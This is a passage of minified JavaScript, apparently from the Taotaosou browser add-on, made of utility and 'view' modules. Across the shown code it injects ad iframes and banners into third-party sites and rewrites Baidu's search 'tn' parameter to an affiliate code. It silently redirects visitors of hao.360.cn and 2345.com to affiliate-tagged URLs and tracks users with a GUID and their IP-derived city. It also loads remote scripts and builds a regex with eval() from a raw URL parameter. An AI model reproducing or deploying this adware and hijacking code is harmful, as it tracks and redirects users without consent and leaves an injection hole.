                    a.day ? c = 24 * a.day * 3600 * 1e3: a.hour ? c = 3600 * a.hour * 1e3: a.min ? c = 60 * a.min * 1e3: a.sec && (c = 1e3 * a.sec),
                    d.setTime((new Date).getTime() + c),
                    b += "; expires=" + d.toGMTString()
                } else a.day ? c = 60 * a.day * 60 * 24 : a.hour ? c = 60 * a.hour * 60 : a.min ? c = 60 * a.min: a.sec && (c = a.sec),
                b += "; max-age=" + c;
                a.path && (b += "; path=" + a.path),
                a.domain && (b += "; domain=" + a.domain)
            }
            document.cookie = b
        }
    },
    t = {
        kctu: "//www.gmf.com/tumeiti.php?",
        channel: "//showkc.taotaosou.com/channel.do?v=" + e().version + "&",
        re: "//re.taotaosou.com",
        log: "//dclog.taotaosou.com/statistics.do?systemName=tts_media",
        test: "//www.ttsunion.com/"
    };
    j = e().guid,
    h = e().id,
    VERSION = e().version || "",
    k = e().browser,
    i = h.match(/^0001|^0011/),
    g = {
        DITCH_ID: h,
        isManualDId: i,
        GUID: j,
        SOURCE: k,
        api: t,
        stat: function(a) {
            var b = a;
            new d(r + "browser_statistics.do", {
                type: b
            })
        },
        kLog: function(a) {
            f("//klog.taotaosou.com/stat?", a)
        },
        statLog_yx: function(a) {
            var b = "//pub.taotaosou.com/updateHits.do";
            new d(b, a)
        },
        statLog_one: function(a) {
            var b = "//dclog1.taotaosou.com/statistics.do";
            new d(b, a)
        },
        load: function(a) {
            var b, c = document.createElement("script"),
            d = a.url;
            if (p("#TK-log")[0] ? b = p("#TK-log")[0] : (b = document.createElement("div"), b.id = "TK-log", document.body.appendChild(b)), a.data) for (var e in a.data) d += d.match(/\?/) ? "&": "?",
            d += e + "=" + a.data[e];
            c.type = "text/javascript",
            c.charset = "utf-8",
            c.async = !0,
            c.onload = function() {
                a.callback && a.callback(c)
            },
            c.onreadystatechange = function() { ("loaded" === c.readyState || "complete" === c.readyState) && a.callback && a.callback(c)
            },
            c.src = d,
            b.appendChild(c)
        },
        postImg: function(a) {
            var b, c = document.createElement("img"),
            d = a.url;
            if (a.data) for (var e in a.data) d += d.match(/\?/) ? "&": "?",
            d += e + "=" + a.data[e];
            c.setAttribute("src", d),
            c.setAttribute("width", 0),
            c.setAttribute("height", 0),
            c.style.display = "none",
            c.onerror = null,
            document.getElementById("TK-log") ? b = document.getElementById("TK-log") : (b = document.createElement("div"), b.id = "TK-log", document.body.appendChild(b)),
            b.appendChild(c)
        },
        href: l,
        host: m,
        getParmFromUrl: function(a) {
            var b, c, d, e, f, g = {};
            if ("" === a) return g;
            for (b = a.split(/&/), c = 0, d = b.length; d > c; c++) {
                e = b[c],
                f = e.indexOf("=");
                var h;
                try {
                    h = decodeURIComponent(e.substring(f + 1))
                } catch(i) {
                    h = e.substring(f + 1)
                }
                g[e.substring(0, f)] = h
            }
            return g
        },
        getParmStr: function(a) {
            var b = "";
            for (var c in a) b += b.match(/\?/) ? "&": "?",
            b += c + "=" + encodeURIComponent(a[c]);
            return b
        },
        getRandom: function(a, b) {
            var c = b - a + 1;
            return Math.floor(Math.random() * c + a)
        },
        cookie: s,
        randomUrlJump: function(a) {
            var b = g.getRandom(0, a.length - 1);
            document.location.href = a[b]
        },
        setTimer: function(a) {
            var b = a.cookie.name,
            c = {
                name: b,
                value: "true",
                path: "/",
                domain: a.cookie.host || location.host
            };
            if (c[a.cookie.expireUnit] = a.cookie.expireTime, "true" !== g.cookie.get()[b] && (g.cookie.set(c), void 0 !== g.cookie.get()[b])) try {
                a.callback()
            } catch(d) {}
        },
        getCid: function() {
            var a = "";
            return p("#J_itemViewed")[0] && p("#J_itemViewed").attr("catid") ? a = p("#J_itemViewed").attr("catid") : document.getElementById("tb-beacon-aplus") && (a = document.getElementById("tb-beacon-aplus").getAttribute("exparams"), a.match(/^.*item%5f([0-9]{3,9})&.*$/) && (a = a.match(/^.*item%5f([0-9]{3,9})&.*$/)[1])),
            a
        },
        getConfig: function() {
            var a = {
                media: {
                    def: !0
                },
                taobao: {
                    def: !0,
                    model: {
                        list: !0,
                        detail: !0,
                        lds: !0
                    }
                },
                tmt: {
                    def: !0,
                    model: {
                        shopSite: !0,
                        paopao: !0,
                        insert: !0,
                        href: !0,
                        jiaohu: !0,
                        qzone: !0,
                        cps: !0,
                        top: !0,
                        tips: !0
                    }
                }
            };
            return "undefined" != typeof window.TK_config && window.TK_config && (a = p.extend(a, window.TK_config)),
            a
        },
        getUrlParam: function(a, b) {
            var c = new RegExp(b + "=([^&]*)", "i").exec(a);
            return c && decodeURIComponent(c[1]) || ""
        },
        replaceUrlParam: function(a, b, c) {
            var a = a && "" != a ? a: window.location + "",
            d = b + "=" + c,
            e = new RegExp("(\\?|&)(\\s*" + b + "\\s*=\\s*([^&#]*))(\\s|#|&|$)*", "gi"),
            f = e.exec(a);
            if (f && f.length > 2) a = a.replace(f[2], d);
            else {
                var g = a.split("?"),
                h = g[0],
                i = g.length > 1 ? "&" + g[1] : "";
                a = h + "?" + d + i
            }
            return a
        },
        isMediaSite: function() {
            for (var a = ["wangyou.pcgames.com.cn", "money.163.com", "henan.people.com.cn", "edu.sina.com.cn", "www.sznews.com", "www.s1979.com", "politics.gmw.cn", "happy.jinghua.cn", "kaoshi.edu.sina.com.cn", "www.chinanews.com", "news.sina.com.cn", "news.youth.cn", "jobs.zhaopin.com", "www.shenmou.com", "www.2258.com", "intl.ce.cn", "news.hexun.com", "tech.ifeng.com", "finance.sina.com.cn", "www.cr173.com", "quote.eastmoney.com", "fujian.people.com.cn", "www.qianzhan.com", "cd.qq.com", "district.ce.cn", "www.eastmoney.com", "fj.qq.com", "tianqi.2345.com", "finance.qq.com", "house.ifeng.com", "js.qq.com", "www.qqtn.com", "politics.people.com.cn", "www.ikandian.com", "gaokao.eol.cn", "www.pc6.com", "guba.eastmoney.com", "dl.pconline.com.cn", "www.weather.com.cn", "news.china.com.cn", "ah.people.com.cn", "gx.people.com.cn", "book.zongheng.com", "search.51job.com", "www.ttufo.com", "www.51test.net", "news.china.com", "culture.gmw.cn", "focus.21cn.com", "life.gmw.cn", "gd.qq.com", "finance.ifeng.com", "edu.gmw.cn", "news.k618.cn", "weather.news.qq.com", "www.chn2007.com", "sh.qihoo.com", "blog.ifeng.com", "news.sohu.com", "www.sohu.com", "news.baidu.com", "news.sina.com.cn", "news.163.com", "user.qzone.qq.com", "jiangsu.china.com.cn", "www.xinhuanet.com", "news.xinhuanet.com", "news.qq.com", "news.ifeng.com", "baidu.56.com", "baishi.baidu.com", "g.hd.baofeng.com", "v.2345.com", "aqdys.com", "www.acfun.tv", "v.17173.com", "dongman.2345.com", "tv.youku.com", "www.kumi.cn", "www.v1.cn", "play.v.61.com", "v.163.com", "dm.3366.com", "list.iqiyi.com", "61.iqiyi.com", "auction1.paipai.com", "www.mianbao.com", "v.pptv.com", "fanxing.kugou.com", "tv.cntv.cn", "video.sina.com.cn", "me.cztv.com", "v.hao.qq.com", "video.baidu.com", "www.qhtv.cn", "so.iqiyi.com", "tv.2345.com", "dianying.2345.com", "www.tvmao.com", "d.m1905.com", "tv.sogou.com", "www.tangdou.com", "17173.tv.sohu.com", "www.youtube.com", "so.tv.sohu.com", "www.bilibili.com", "video.baomihua.com", "movie.douban.com", "donghua.7k7k.com", "vod.kankan.com", "www.fun.tv", "www.m1905.com", "www.y80s.com", "www.wasu.cn", "www.aipai.com", "v.pps.tv", "v.ku6.com", "v.sogou.com", "v.ifeng.com", "www.soku.com", "v.duba.com", "www.hunantv.com", "www.56.com", "my.tv.sohu.com", "kan.sogou.com", "www.youku.com", "v.baidu.com", "www.iqiyi.com", "v.hao123.com", "v.qq.com", "www.tudou.com", "v.youku.com", "tv.sohu.com", "www.letv.com", "www.epzw.com", "www.sbkk8.cn", "www.lingdiankanshu.com", "www.ppxsw.com", "www.wcxiaoshuo.com", "www.shuanshu.com", "www.45zw.com", "novel.hongxiu.com", "www.quanben.com", "b.faloo.com", "book.2345.com", "www.yqhhy.cc", "www.92txt.net", "www.qdmm.com", "www.shukeju.com", "chuangshi.qq.com", "00xs.com", "book.hao123.com", "www.69zw.com", "www.abcsee.net", "www.17k.com", "www.xxsy.net", "www.doc88.com", "www.u8xs.com", "www.sj131.com", "www.cxzww.com", "www.qidian.com", "baike.sogou.com", "www.xs8.cn", "www.klxsw.com", "www.1kanshu.com", "www.22mt.com", "www.jjwxc.net", "www.ttshuo.com", "www.docin.com", "www.siluke.com", "www.23hh.com", "www.23us.com", "www.readnovel.com", "www.biquge.com", "wenku.baidu.com", "baike.baidu.com", "www.fumanhua.com", "www.manmankan.com", "www.rexuedongman.com", "www.77mh.com", "www.douluodalu.com.cn", "www.bengou.cm", "4399.union.tudou.com", "lofi.e-hentai.org", "www.cunlie.com", "www.cuntuba.com", "www.zhiyinmanhua.com", "www.88mh.com", "www.52guoman.com", "www.guoman123.com", "manhua.7k7k.com", "manhua.dmzj.com", "www.imanhua.com", "ac.qq.com", "www.tianshangrenjian123.com", "www.073.cc", "4399.iqiyi.com", "www.iyouman.com", "www.4399dmw.com", "www.guoman8.com", "www.jide123.com", "haha.sogou.com", "www.yikedou.com", "www.xiaopena.com", "www.xiaolinsi.com", "tuji.juyouqu.com", "www.9yao.com", "www.meineihan.com", "www.0824.com", "www.mahua.com", "www.juyouqu.com", "www.3jy.com", "www.xxhh.com"], b = 0; b < a.length; b++) if (m === a[b]) return ! 0;
            return ! 1
        },
        matchDitch: function() {
            for (var a = this,
            b = ["8010010020140313", "8020010020140313", "8030010020140313", "8040010020140313", "8050010020140313"], c = 0; c < b.length; c++) if (a.DITCH_ID === b[c]) return ! 0;
            return ! 1
        },
        isRealwebSite: function() {
            return /^([\w-]+\.)+((com)|(net)|(org)|(gov\.cn)|(info)|(cc)|(com\.cn)|(net\.cn)|(org\.cn)|(name)|(biz)|(tv)|(cn)|(la))$/.test(m) ? /^(login|i|mail|help|about|my|me|u|user|open|job|reg|service|passport|api|m).?/.test(m) || /https:\/\//.test(l) || /haosou|tts|163.com|sina.com|so.com|360.cn|baidu.com|hao123.com|firefoxchina.cn|alipay.com|weixin.qq|taotaosou.com/.test(m) ? !1 : !0 : !1
        },
        ipLocalCity: function() {
            return "undefined" != typeof localStorage && localStorage ? localStorage && !this.isHttps() ? localStorage.getItem("TK-city") || "" === localStorage.getItem("TK-city") ? localStorage.getItem("TK-city") : (p.getJSON("//showkc.taotaosou.com/convert.do?guid=" + j + "&callback=?&p=http",
            function(a) {
                return a ? (localStorage.setItem("TK-ip", a.ip), localStorage.setItem("TK-city", a.content.address_detail.city), a.content.address_detail.city) : ""
            }), "") : localStorage && this.isHttps() ? localStorage.getItem("TK-city") || "" === localStorage.getItem("TK-city") ? localStorage.getItem("TK-city") : (p.getJSON("//showkc.taotaosou.com/convert.do?guid=" + j + "&callback=?",
            function(a) {
                return a ? (localStorage.setItem("TK-ip", a.ip), localStorage.setItem("TK-city", a.content.address_detail.city), a.content.address_detail.city) : !1
            }), "") : "": ""
        },
        isTTSIp: function() {
            return "undefined" != typeof localStorage && localStorage ? localStorage ? "115.231.100.10" === localStorage.getItem("TK-ip") : void 0 : ""
        },
        siteName: {
            isTBList: m === o || m === n,
            isHomeTB: "www.taobao.com" === m,
            isHomeTM: "www.tmall.com" === m,
            isTrade: "buyer.trade.taobao.com" === m || "trade.taobao.com" === m,
            isJu: "ju.taobao.com" === m,
            isJuDetail: "detail.ju.taobao.com" === m,
            isWuliu: "wuliu.taobao.com" === m,
            is7K7k: "www.7k7k.com" === m,
            is4399: "www.4399.com" === m,
            isCart: "cart.taobao.com" === m,
            isBuy: "buy.taobao.com" === m,
            isTMBuy: "buy.tmall.com" === m,
            isFav: "shoucang.taobao.com" === m,
            isITB: "i.taobao.com" === m,
            isQidian: "www.qidian.com" === m,
            isQzone: "user.qzone.qq.com" === m,
            isTbDetail: "item.taobao.com" === m,
            isTmDetail: "detail.tmall.com" === m,
            isBaoxiang: "baoxian.taobao.com" === m,
            isLicai: "licai.taobao.com" === m,
            isZln: "zln.taobao.com" === m,
            isBijia: "bijia.taotaosou.com" === m,
            isHao123: "www.hao123.com" === m,
            isWeibo: "weibo.com" === m,
            isB2CDetail: "item.jd.com" === m || location.href.match(/re.jd.com\/cps\/item/),
            isMLSDetail: m.match(/meilishuo/) && location.href.match(/share/),
            isMGJDetail: function() {
                return m.match(/mogujie/) && location.href.match(/detail/) ? !0 : !1
            } ()
        },
        sliceID: function(a) {
            if (!a) return "";
            var b = /(\?|\&)id=[0-9]*/;
            return "string" == typeof a && a.match(b) && a.match(b)[0] ? a.match(b)[0].replace(/.*=/, "") : a.match(/item.jd.com/) ? a.match(/[0-9].*\./)[0].slice(0, -1) : a.match(/www.meilishuo.com/) ? a.match(/([0-9]+)/)[1] : a.match(/shop.mogujie.com\/detail/) ? a.match(/detail\/(\w+)\?/)[1] : a.match(/www.vip.com\/detail/) ? this.getUrlParam(a, "mid") : void 0
        },
        isHttps: function() {
            var a = location.protocol;
            return "https:" === a ? !0 : !1
        },
        juxiao: function() {
            return "https://show-3.mediav.com"
        },
        isJuzi: function() {
            return this.DITCH_ID.match(/B611040020150619/)
        }
    },
    c.exports = g
}),
__tk2__define("view/2345", ["../utils", "../lib/jquery.min"],
function(a, b, c) {
    var d = a("../utils");
    if (!d.isManualDId) {
        var e = d.href; ("http://www.2345.com/" === e || "http://2345.com/" === e || e.match(/^http:\/\/www\.2345\.com\/\?.*/) || e.match(/^http:\/\/2345\.com\/\?.*/)) && d.setTimer({
            cookie: {
                name: "TK2345Ref",
                expireUnit: "min",
                expireTime: 30,
                host: "2345.com"
            },
            callback: function() {
                document.location.href = "http://www.hao123.com/?tn=96000106_hao_pg"
            }
        })
    }
}),
__tk2__define("view/360", ["../utils", "../lib/jquery.min"],
function(a, b, c) {
    var d = a("../utils");
    if (!d.isManualDId) {
        var e = d.href,
        f = function() {
            var a, b, c = ["http://hao.360.cn/?src=lm&ls=n669f9a8997", "http://hao.360.cn/?src=lm&ls=n57b79a8a96"];
            for (a = 0, b = c.length; b > a; a++) if (e === c[a]) return ! 1;
            return e.match(/^http:\/\/hao\.360\.cn\/\?.*/) ? !0 : !1
        },
        g = function() {
            "http://hao.360.cn/" === e ? document.location.href = "http://hao.360.cn/?src=lm&ls=n669f9a8997": document.location.href = "http://hao.360.cn/?src=lm&ls=n57b79a8a96"
        }; (f() && !d.cookie.get().hao360TK || "http://hao.360.cn/" === e) && (d.cookie.set({
            name: "hao360TK",
            value: !0,
            min: 5,
            path: "/",
            domain: "360.cn"
        }), d.cookie.get().hao360TK && g())
    }
}),
__tk2__define("view/alimama", [],
function(a, b, c) {
    function d() {
        return '<iframe src="//show.kc.taotaosou.com/jsad.do?type=3" id="ali-tumeiti" frameborder="none" width="330" height="64"></iframe>'
    }
    function e() {
        return '<iframe src="//show.kc.taotaosou.com/jsad.do?type=2" id="ali-lds" frameborder="none" width="112" height="412"></iframe>'
    }
    c.exports = {
        tumeiti: d(),
        lds: e()
    }
}),
__tk2__define("view/baidu", ["../lib/jquery.min", "../utils"],
function(require, exports, module) {
    var $ = require("../lib/jquery.min"),
    utils = require("../utils"),
    getUrlParam = function(a) {
        var b = new RegExp("(^|&)" + a + "=([^&]*)(&|$)"),
        c = window.location.search.substr(1).match(b);
        return null != c ? unescape(c[2]) : null
    },
    url = location.href,
    tn = getUrlParam("tn"),
    wd = getUrlParam("wd"),
    _tn = eval("/tn=" + tn + "/");
    null === wd || utils.cookie.get().baiduTK || "90724494_hao_pg" === tn || (utils.cookie.set({
        name: "baiduTK",
        value: !0,
        min: 5,
        path: "/",
        domain: "baidu.com"
    }), utils.cookie.get().baiduTK && (null === tn ? location.href = url + "&tn=90724494_hao_pg": location.href = url.replace(_tn, "tn=90724494_hao_pg")))
}),
__tk2__define("view/bottom-zhaoshang", ["../utils", "../lib/jquery.min", "../lib/jquery.min"],
function(a, b, c) {
    function d() {
        h.ajax({
            url: "//control.taotaosou.com/cookie/read.do?key=bottom-zhaoshang",
            cache: !1,
            dataType: "jsonp",
            jsonp: "callback"
        }).done(function(a) {
            null === a && e()
        })
    }
    function e() {
        var a = "";
        h("body").append(a);
        var b = '<a target="_blank" id="KKT-bottomzhaoshang-link" href="http://tuan.taotaosou.com/merchants?spm=0.0.0.0.Vj4wXE&utm_source=pao&utm_medium=ttk_entrance&utm_campaign=zhaoshang"></a><div id="KKT-bottomzhaoshang-close"></div>';
        h("body").append(b),
        g.utils.stat("site_sell_pop_PV"),
        h("#KKT-bottomzhaoshang-link").on("click",
        function() {
            g.utils.stat("site_sell_pop_click")
        }),
        h("#KKT-bottomzhaoshang-close").on("click",
        function() {
            g.utils.stat("site_sell_pop_close"),
            h("#KKT-bottomzhaoshang-link").css("display", "none"),
            h("#KKT-bottomzhaoshang-close").css("display", "none"),
            f()
        })
    }
    function f() {
        h.ajax({
            url: "http://control.taotaosou.com/cookie/write.do?key=bottom-zhaoshang&value=1&time=1800",
            cache: !1,
            dataType: "jsonp",
            jsonp: "callback"
        }).done(function() {})
    }
    var g = {
        utils: a("../utils")
    },
    h = a("../lib/jquery.min");
    g.utils.isManualDId || d()
}),
__tk2__define("view/corner-zhaoshang", ["../utils", "../lib/jquery.min", "../lib/jquery.min", "../templates.jst"],
function(a, b, c) {
    function d() {
        h.ajax({
            url: "//control.taotaosou.com/cookie/read.do?key=corner-zhaoshang",
            cache: !1,
            dataType: "jsonp",
            jsonp: "callback"
        }).done(function(a) {
            null === a && e()
        })
    }
    function e() {
        var a = g.utils.getRandom(1, 2);
        1 === a ? h("body").append(j({
            fix: !0,
            swf: "//exts.taotaosou.com/browser-static/tmt/tuangouzs.swf",
            url: "http://www.chaoji99.com/merchants?utm_source=sijiao4&utm_medium=ttk_entrance&utm_campaign=zhaoshang"
        })) : 2 === a && h("body").append(j({
            fix: !0,
            swf: "//exts.taotaosou.com/browser-static/tmt/jiukuaizs.swf",
            url: "http://www.chaoji99.com/merchants?utm_source=sijiao4&utm_medium=ttk_entrance&utm_campaign=zhaoshang"
        })),
        g.utils.stat("site_sell_corner_PV"),
        h("#KKT-topCornerClick").on("click",
        function() {
            g.utils.stat("site_sell_corner_click")
        }),
        h("#KKT-topCornerClose-zhaoshang").on("click",
        function() {
            g.utils.stat("site_sell_corner_close"),
            h(".KKT-cornerFrame").css("display", "none"),
            f()
        })
    }
    function f() {
        h.ajax({
            url: "//control.taotaosou.com/cookie/write.do?key=corner-zhaoshang&value=1&time=1800",
            cache: !1,
            dataType: "jsonp",
            jsonp: "callback"
        }).done(function() {})
    }
    var g = {
        utils: a("../utils")
    },
    h = a("../lib/jquery.min");
    if (!g.utils.isManualDId) {
        var i = a("../templates.jst"),
        j = i["tmt/corner"];
        d()
    }
}),
__tk2__define("view/corner", ["../utils", "../lib/jquery.min", "../lib/jquery.min", "../templates.jst"],
function(a, b, c) {
    function d() {
        i.ajax({
            url: "//control.taotaosou.com/cookie/read.do?key=" + g.key,
            cache: !1,
            dataType: "jsonp",
            jsonp: "callback"
        }).done(function(a) {
            null === a && e()
        })
    }
    function e() {
        var a = h.utils.getRandom(0, 99),
        b = j["tmt/corner"],
        c = !1;
        "liuliangbao" === g.category ? i("body").append(b({
            fix: !0,
            logo: !0,
            swf: "//exts.taotaosou.com/browser-static/tmt/liuliangbao.swf",
            url: "http://qc.taotaosou.com/flowbao.html"
        })) : a > 20 ? (i("body").append(b({
            swf: "//exts.taotaosou.com/browser-static/tmt/jiukuaijiu.swf",
            url: "http://www.chaoji99.com/?utm_source=sijiao2&utm_medium=ttk_entrance"
        })), c = !1) : 10 > a ? (i("body").append(b({
            fix: !0,
            swf: "//exts.taotaosou.com/browser-static/tmt/tuangouzs.swf",
            url: "http://www.chaoji99.com/merchants?utm_source=sijiao4&utm_medium=ttk_entrance&utm_campaign=zhaoshang"
        })), c = !0) : (i("body").append(b({
            fix: !0,
            swf: "//exts.taotaosou.com/browser-static/tmt/jiukuaizs.swf",
            url: "http://www.chaoji99.com/merchants?utm_source=sijiao4&utm_medium=ttk_entrance&utm_campaign=zhaoshang"
        })), c = !0),
        c ? (h.utils.stat("site_sell_corner_PV"), i("#KKT-topCornerClick").on("click",
        function() {
            h.utils.stat("site_sell_corner_click")
        })) : "liuliangbao" === g.category ? (h.utils.stat("flowbao_click"), i("#KKT-topCornerClick").on("click",
        function() {
            h.utils.stat("flowbao_click_click")
        })) : (h.utils.stat("site_corner_PV"), i("#KKT-topCornerClick").on("click",
        function() {
            h.utils.stat("site_corner_click")
        })),
        i("#KKT-topCornerClose").on("click",
        function() {
            i(".KKT-cornerFrame").css("display", "none"),
            h.utils.stat("site_corner_close"),
            f()
        }),
        i("#KKT-topCornerClose-zhaoshang").on("click",
        function() {
            i(".KKT-cornerFrame").css("display", "none"),
            h.utils.stat("site_sell_corner_close"),
            f()
        })
    }
    function f() {
        i.ajax({
            url: "//control.taotaosou.com/cookie/write.do?key=" + g.key + "&value=1&time=1800",
            cache: !1,
            dataType: "jsonp",
            jsonp: "callback"
        }).done(function() {})
    }
    var g = {},
    h = {
        utils: a("../utils")
    },
    i = a("../lib/jquery.min");
    if (!h.utils.isManualDId && (g = {
        category: "liuliangbao",
        key: "liuliangbao"
    },
    /^http:\/\/www\.1688\.com\/$/.test(h.utils.href) && window.tk_setting_all[47] && +window.tk_setting_all[47].s)) {
        var j = a("../templates.jst");
        d()
    }
}),
__tk2__define("view/db11Banner", ["../utils", "../lib/jquery.min", "../lib/jsonp", "../templates.jst", "../host"],
function(a, b, c) {
    function d() {
        e()
    }
    function e() {
        i({
            url: "//www.gmf.com/tumeiti.php?adType=0,0,1,0&keyword=0,0," + encodeURIComponent(document.title.replace(/,/, " ")) + ",0&adSize=0,0,950*90,0&itemSize=0,0,1,0&tbId=&pid=" + o + "_" + h.DITCH_ID + "&jsonp=?",
            timeout: 1e4,
            done: function(a) {
                a.pinpai[0] && (a.pinpai[0].bgc = a.pinpai[0].title.match(/#\w+$/), a.pinpai[0].title = a.pinpai[0].title.replace(/#\w+$/, ""), f(a.pinpai[0]))
            }
        })
    }
    function f(a) {
        var b = j["tmt/banner"],
        c = b(a),
        d = document.createElement("div");
        d.innerHTML = c;
        var e = document.getElementsByTagName("body")[0];
        e.insertBefore(d, e.firstChild),
        g()
    }
    function g() {
        k(".TK_banner_close").on("click",
        function(a) {
            a.stopPropagation(),
            k(".TK_banner_wrap").parent().css("display", "none"),
            l.cookie.set({
                name: "TK_banner",
                value: !0,
                day: 1
            })
        })
    }
    var h = a("../utils"),
    i = a("../lib/jsonp"),
    j = a("../templates.jst"),
    k = a("../lib/jquery.min"),
    l = a("../utils"),
    m = a("../host"),
    n = k("body"),
    o = 394;
    n.on("config.success",
    function(a, b) {
        var c = b.iA && b.iA.adList ? b.iA.adList: [];
        return l.cookie.get().TK_banner ? !1 : void(m.isHomeTaobao || m.isHomeTmall || m.isTBList || m.isTMList || m.isTBDetail || m.isTMDetail ? d() : k.each(c,
        function(a, b) { ! window.isShowDb11Banner || 394 !== b.pid && 395 !== b.pid || b.status !== !0 || (o = b.pid, d())
        }))
    })
}),
__tk2__define("view/db11Float", ["../utils", "../lib/jquery.min", "../lib/jsonp", "../templates.jst"],
function(a, b, c) {
    function d() {
        e()
    }
    function e() {
        p({
            url: "//www.gmf.com/tumeiti.php?adType=1,0,0,0&keyword=%E5%8F%8C%E5%8D%81%E4%B8%80%E6%8E%A8%E8%8D%90,0,0,0&adSize=0,0,0,0&itemSize=20,0,0,0&tbId=&pid=389&jsonp=?",
            timeout: 1e4,
            datyType: "jsonp",
            done: function(a) {
                if (a.xiangsi[0]) {
                    var b = a.xiangsi.length - 1,
                    c = a.xiangsi.length;
                    if (7 > b) return;
                    a.xiangsi.forEach(function(c, d) {
                        d % 8 === 0 ? (b += 1, a.xiangsi[b] = {},
                        a.xiangsi[b].proList = [], a.xiangsi[b].proList.push(c)) : a.xiangsi[b].proList.push(c)
                    }),
                    a.xiangsi = a.xiangsi.slice(c, c + 5),
                    f({
                        list: a.xiangsi
                    })
                }
            }
        })
    }
    function f(a) {
        globalBox = document.createElement("div"),
        globalBox.id = q + "_float";
        var b = l();
        document.body.appendChild(globalBox),
        s(globalBox).css(b),
        m = globalBox;
        var c = r["tmt/float"],
        d = c(a);
        m.innerHTML = d;
        var e = b.height / 2 - 290;
        0 > e && (e = 0);
        var f = 36 * (a.list.length + 2);
        s(".TK_float_wrap").css("marginTop", e),
        s("#TK_ul").css("width", f),
        t.cookie.set({
            name: "TK_float",
            value: !0,
            hour: 2
        }),
        g()
    }
    function g() {
        var a = s("li.TK_float_p").length;
        s(window).resize(function() {
            var a = l();
            s("#" + q + "_float").css(a);
            var b = a.height / 2 - 290;
            0 > b && (b = 0),
            s(".TK_float_wrap").css("marginTop", b)
        }),
        s(".TK_float_p").on("click",
        function() {
            if (!s(this).hasClass("t_active")) {
                s(this).siblings(".TK_float_p").removeClass("t_active").end().addClass("t_active");
                var a = 778 * -s(this).data("num");
                s(".TK_ul_wrap").css("left", a)
            }
        }),
        s(".TK_float_pre").on("click",
        function() {
            s("li.TK_float_p.t_active").prev("li.TK_float_p").length ? s("li.TK_float_p.t_active").prev("li.TK_float_p").trigger("click") : s("li.TK_float_p").eq(a - 1).trigger("click")
        }),
        s(".TK_float_next").on("click",
        function() {
            s("li.TK_float_p.t_active").next("li.TK_float_p").length ? s("li.TK_float_p.t_active").next("li.TK_float_p").trigger("click") : s("li.TK_float_p").eq(0).trigger("click")
        }),
        s(".TK_float_close").on("click",
        function() {
            s("#" + q + "_float").css("display", "none")
        }),
        s("#__TTS_float").on("click",
        function(a) {
            a.stopPropagation && s("#" + q + "_float").css("display", "none")
        }),
        s(".TK_float_wrap").on("click",
        function(a) {
            a.stopPropagation()
        }),
        s("#TK_ul li").on("mouseenter",
        function() {
            clearTimeout(n)
        }),
        s("#TK_ul li").on("mouseout",
        function() {
            i()
        }),
        s(".TK_float_ul").on("mouseenter",
        function(a) {
            j(k(a), document.getElementsByClassName("TK_ul_wrap")[0]) || clearTimeout(n)
        }),
        s(".TK_float_ul").on("mouseout",
        function(a) {
            j(k(a), document.getElementsByClassName("TK_ul_wrap")[0]) || i()
        }),
        i()
    }
    function h() {
        clearTimeout(n),
        n = setTimeout(h, 3e3),
        s(".TK_float_next").trigger("click")
    }
    function i() {
        clearTimeout(n),
        n = setTimeout(h, 3e3)
    }
    function j(a, b) {
        for (; void 0 !== a && null !== a && "BODY" !== a.tagName.toUpperCase();) {
            if (a === b) return ! 0;
            a = a.parentNode
        }
        return ! 1
    }
    function k(a) {
        return a.relatedTarget ? a.relatedTarget: a.toElement ? a.toElement: a.fromElement ? a.fromElement: null
    }
    function l() {
        var a = {};
        return a.width = window.innerWidth,
        a.height = window.innerHeight,
        "number" != typeof a.width && ("CSS1Compat" === document.compatMode ? (a.width = document.documentElement.clientWidth, a.height = document.documentElement.clientHeight) : (a.width = document.body.clientWidth, a.height = document.body.clientHeight)),
        a
    }
    var m, n, o = a("../utils"),
    p = a("../lib/jsonp"),
    q = "__TTS",
    r = a("../templates.jst"),
    s = a("../lib/jquery.min"),
    t = a("../utils"),
    u = s("body");
    u.on("config.success",
    function(a, b) {
        if (! (location.host.match(0) && window.tk_setting_all[50] && +window.tk_setting_all[50].s) || o.isTTSIp()) {
            var c = b.iA && b.iA.adList ? b.iA.adList: [];
            return t.cookie.get().TK_float ? !1 : void s.each(c,
            function(a, b) {
                389 === b.pid && b.status === !0 && d()
            })
        }
    })
}),
__tk2__define("view/db11banner-nolimit", ["../utils", "../lib/jquery.min", "../lib/jsonp", "../templates.jst", "../host"],
function(a, b, c) {
    function d() {
        e()
    }
    function e() {
        i({
            url: "//www.gmf.com/tumeiti.php?adType=0,0,1,0&keyword=0,0," + encodeURIComponent(document.title.replace(/,/, " ")) + ",0&adSize=0,0,950*90,0&itemSize=0,0,1,0&tbId=&pid=394_" + h.DITCH_ID + "&jsonp=?",
            timeout: 1e4,
            done: function(a) {
                a.pinpai[0] && (a.pinpai[0].bgc = a.pinpai[0].title.match(/#\w+$/), a.pinpai[0].title = a.pinpai[0].title.replace(/#\w+$/, ""), f(a.pinpai[0]))
            }
        })
    }
    function f(a) {
        var b = j["tmt/banner"],
        c = b(a),
        d = document.createElement("div");
        d.innerHTML = c;
        var e = document.getElementsByTagName("body")[0];
        e.insertBefore(d, e.firstChild),
        g()
    }
    function g() {
        k(".TK_banner_close").on("click",
        function(a) {
            a.stopPropagation(),
            k(".TK_banner_wrap").parent().css("display", "none"),
            l.cookie.set({
                name: "TK_banner",
                value: !0,
                day: 1
            })
        })
    }
    var h = a("../utils"),
    i = a("../lib/jsonp"),
    j = a("../templates.jst"),
    k = a("../lib/jquery.min"),
    l = a("../utils"),
    m = a("../host");
    k("body");
